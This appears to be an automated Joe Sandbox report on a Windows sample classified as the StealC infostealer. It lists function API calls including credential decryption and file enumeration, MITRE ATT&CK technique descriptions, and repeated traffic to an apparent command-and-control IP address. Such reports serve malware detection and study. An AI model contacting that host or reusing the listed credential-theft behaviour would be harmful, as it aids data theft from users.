Instruction Fuzzy Hash: 7C01B136109729AEF67526755CC9A763A94EF017B5734433DF22A801F2EF924C429161

Function 00C97B10 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00CA0DE8,00000000,?), ref: 00C97B40
RtlAllocateHeap.NTDLL(00000000), ref: 00C97B47
GetLocalTime.KERNEL32(?,?,?,?,?,00CA0DE8,00000000,?), ref: 00C97B54
wsprintfA.USER32 ref: 00C97B83

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 5c4f4adb175cb0f29e901be172204b2df2a23376ca4e13907945ad17ff6b1e86
Instruction ID: d663ef63d13b590d0546a78f59db8a2ef48b50c6c5684f839cdfed620b646e0f
Opcode Fuzzy Hash: 5c4f4adb175cb0f29e901be172204b2df2a23376ca4e13907945ad17ff6b1e86
Instruction Fuzzy Hash: ED11FEB2908219ABCB14DBD9ED45BBFB7F8EB4CB12F10415AF605A2280D7795940D7B0

Function 00C99470 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00C93D3E,80000000,00000003,00000000,00000003,00000080,00000000,?,00C93D3E,?), ref: 00C9948C
GetFileSizeEx.KERNEL32(000000FF,00C93D3E), ref: 00C994A9
CloseHandle.KERNEL32(000000FF), ref: 00C994B7

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 641e7c58ddeeb0a9e71652a7ce717d880ce9d1260d8e299b6cf3a9ce6fc92af1
Instruction ID: d4d56b27dad2fc88208db9a991f574603db21275f74fa4df4ac24ebcdedf1cef
Opcode Fuzzy Hash: 641e7c58ddeeb0a9e71652a7ce717d880ce9d1260d8e299b6cf3a9ce6fc92af1
Instruction Fuzzy Hash: ADF03C39E04308BBDB10EBB5EC49F9E77B9AB48711F108658FA11A7280D670A6019F90

Function 00C9CA72 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00C9CA7E

Part of subcall function 00C9C2A0: __amsg_exit.LIBCMT ref: 00C9C2B0

__getptd.LIBCMT ref: 00C9CA95
__amsg_exit.LIBCMT ref: 00C9CAA3
__updatetlocinfoEx_nolock.LIBCMT ref: 00C9CAC7

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 5f1e4816d0422af9855fd406bba5c1d7fbf0127a9ba3b6be4841452ef93edc4a
Instruction ID: d6fe6e3ad1b4a14cadadabdbbdd577d2e47308b90ddddebd33b2c089f1e1cf7c
Opcode Fuzzy Hash: 5f1e4816d0422af9855fd406bba5c1d7fbf0127a9ba3b6be4841452ef93edc4a
Instruction Fuzzy Hash: 3DF0B432944B19ABDF20FBF8A88F75E33A0AF01724F510149F415A71D2CF245D40BB95

Function 00D004D3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

CatchIt.LIBVCRUNTIME ref: 00D005DE

Strings

RCC, xrefs: 00D00512
MOC, xrefs: 00D0050A

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Catch
String ID: MOC$RCC
API String ID: 78271584-2084237596
Opcode ID: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
Instruction ID: 7cafab767e5af7a6304e7f8baaabfcec2c297726584d41c96e5eedb4f0b4b0c6
Opcode Fuzzy Hash: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
Instruction Fuzzy Hash: 71414971900209AFDF15DF98DC85BEEBBB5FF48304F188199FA08A62A1D3359A50DF61

Function 00C95190 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C98F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00C98F9B

lstrcat.KERNEL32(?,00000000), ref: 00C951CA
lstrcat.KERNEL32(?,00CA1058), ref: 00C951E7
lstrcat.KERNEL32(?,01528910), ref: 00C951FB
lstrcat.KERNEL32(?,00CA105C), ref: 00C9520D

Part of subcall function 00C94B60: wsprintfA.USER32 ref: 00C94B7C
Part of subcall function 00C94B60: FindFirstFileA.KERNEL32(?,?), ref: 00C94B93

Part of subcall function 00C94B60: StrCmpCA.SHLWAPI(?,00CA0FC4), ref: 00C94BC1
Part of subcall function 00C94B60: StrCmpCA.SHLWAPI(?,00CA0FC8), ref: 00C94BD7
Part of subcall function 00C94B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00C94DCD
Part of subcall function 00C94B60: FindClose.KERNEL32(000000FF), ref: 00C94DE2

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: cabaa7a63f4987b7c60d4699c30aefdd6244a720dc2b1f7a0caa9eb92db024c0
Instruction ID: 337252ba0feec4d26048e8a4e66df23bed270b5197d7af0083bdc368f46f7eb1
Opcode Fuzzy Hash: cabaa7a63f4987b7c60d4699c30aefdd6244a720dc2b1f7a0caa9eb92db024c0
Instruction Fuzzy Hash: 7E21F5B690030CABCB14FBB0FC46EED733C9B95701F404554B65593491EE70AAC89F91

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C99030 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00C99030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C872A0 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00C872A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C8A2B0 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00C8A2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C8A210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00C8A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C8C920 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00C8C920

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00C99BB0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00C84610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00C862D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00C97690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00C99F20 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00C848D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00C95760 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00C919F0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00C96C90 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00C81220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00C96D93 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00C84800 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00C95440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON